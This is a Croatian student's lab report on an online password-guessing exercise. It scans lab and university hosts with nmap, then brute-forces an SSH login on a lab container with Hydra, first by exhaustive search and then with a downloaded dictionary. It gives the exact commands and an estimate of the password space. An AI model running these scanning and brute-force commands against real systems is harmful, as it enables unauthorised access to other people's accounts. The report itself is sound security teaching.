Izvještaj laboratorijske vježbe

5. Online Password Guessing Attack

Zadatak

Zadatak je bio probiti šifru ssh konekcije na udaljeno virtualno računalo zadane IP adrese. Koristili smo **“Hydra tool”** za **“online brute force”** napad. Procijenili smo **password space** i **effort** poznavajući neke parametre zadanih lozinki. Procijenjeno vrijeme bilo je predugo, stoga smo posegnuli za unaprijed pripremljenim **dictionary-jem.**

- Prvo smo otovrili bash shell u WSL-u te smo ping-ali lab server

```
ping a507-server.local
```

Vidjeli smo da primamo pakete, što je znak da je komunikacija moguća

- Nakon toga smo instalirali **“nmap”** aplikaciju i upoznali njene funkcionalnosti.

```
sudo apt-get update
sudo apt-get install nmap

mpijuk@DESKTOP-U5A60H8:/mnt/c/Users/MARIO$ whatis nmap

nmap (1)             - Network exploration tool and security / port scanner
```

- Skenirali smo portove svih virtualnih računala u našoj mreži u laboratoriju.

```
nmap -v 10.0.15.0/28
```

```
nmap -v 161.53.167.26
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-21 15:32 CET
Initiating Ping Scan at 15:32
Scanning 161.53.167.26 [2 ports]
Completed Ping Scan at 15:32, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:32
Completed Parallel DNS resolution of 1 host. at 15:32, 0.02s elapsed
Initiating Connect Scan at 15:32
Scanning pzi.fesb.hr (161.53.167.26) [1000 ports]
Discovered open port 22/tcp on 161.53.167.26
Discovered open port 80/tcp on 161.53.167.26
Completed Connect Scan at 15:32, 2.30s elapsed (1000 total ports)
Nmap scan report for pzi.fesb.hr (161.53.167.26)
Host is up (0.0078s latency).
Not shown: 995 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
80/tcp  open     http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
```

Naravno portovi 22 čiji je servis SSH bili su otvoreni. Za primjer je dano i skeniranje portova na fesb-ovom serveru **“pzi.fesb.hr”.**

- Nakon upoznavanja sa nmap-om, otvorili smo lokalnu web stranicu gdje smo pronašli IP adresu i username personaliziranog Docker container-a. Nakon toga, pokušali smo otvoriti remote shell na danom računalu sljedećom naredbom.

```
ssh pijuk_mario@10.0.15.10
```

```
mpijuk@DESKTOP-U5A60H8:/mnt/c/Users/MARIO$ whatis ssh
ssh (1)              - OpenSSH remote login client
```

Od nas je zatražena lozinka, koju u tome trenutku nismo znali. Broj pokušaja za unos lozinke bio je neograničen!

- Sada smo se upoznali sa aplikacijom hydra.

> Hydra is a **pre-installed tool in Kali Linux used to brute-force username and password to different services** such as ftp, ssh, telnet, MS-SQL, etc. Brute-force can be used to try different usernames and passwords against a target to identify correct credentials.

- Poznati parametri tražene lozinke su:
  - svi znakovi su mala slova
  - znakova je između 4 i 6

```
hydra -l pijuk_mario -x 4:6:a 10.0.15.10 -V -t 1 ssh
```

- pijuk_mario - username virtualnog računala
- 4:6 - raspon veličine lozinke

- 10.0.15.10 - IP adresa virtualnog računala
- 1 - broj paralelnih pristupa serveru (na labovima smo pokušali sa 4)
- ssh - servis kojem pristupamo (Secure Shell)

- Postavljaju nam se 3 pitanja. Koliki je **password space** sa danim parametrima tražene lozinke? Koliki je **effort**, odnosno procijenjeno vrijeme koje prođe dok ne pronađemo traženu lozinku? Što napraviti u slučaju enormno velikog procijenjenog vremena?

```
(i=4)^6∑(n^i)=26^6+26^5+26^4=26^4*(26^2+26+1)≈26^6<2^30
```

```
2^30/2^6=2^24 minuta => 2^24/(365*24*60)≈2^24/(2^8*2^4*2^6 )≈2^6=64 godine
```

Gornja jednadžba daje nam približnu vrijednost password space-a **(uzeli smo engleski alfabet ⇒ 26 slova, zanemarili smo dio zagrade “26+1”)**. Hydra je za dani primjer uspjela isprobati 64 lozinke po minuti, iz čega slijedi da se password space dijeli sa 2^6. Kada dobiveni broj približno pretvorimo u godine, dobijemo 64 godine što je enormno dugo. Rješenje je napad korištenjem predefiniranog **dictionary-ja**.

- Dictionary smo dohvatili sljedećom naredbom

```
wget -r -nH -np --reject "index.html*" http://a507-server.local:8080/dictionary/g3/
```

- Sada smo ponovno pokrenuli aplikaciju hydra, ali koja lozinku traži u skupu predefiniranog dictionary-ja veličine od oko 800 riječi.

```
hydra -l pijuk_mario -P dictionary/g3/dictionary_online.txt 10.0.15.10 -V -t 4 ssh
```

Uspješno smo pronašli traženu lozinku i njome se logirali na personalizirano virtualno računalo **(Docker container)**.

Zaključak

Na primjeru smo vidjeli koliko dugo bi nam trebalo da pronađemo traženu lozinku od svega nekoliko znakova (4-6 malih slova). Stoga je isplativo potrošiti određeno vrijeme na izradu kvalitetnog dictionary-ja pomoću kojega istu lozinku pronađemo za nekoliko minuta. Profesionalna paranoja poprilično raste!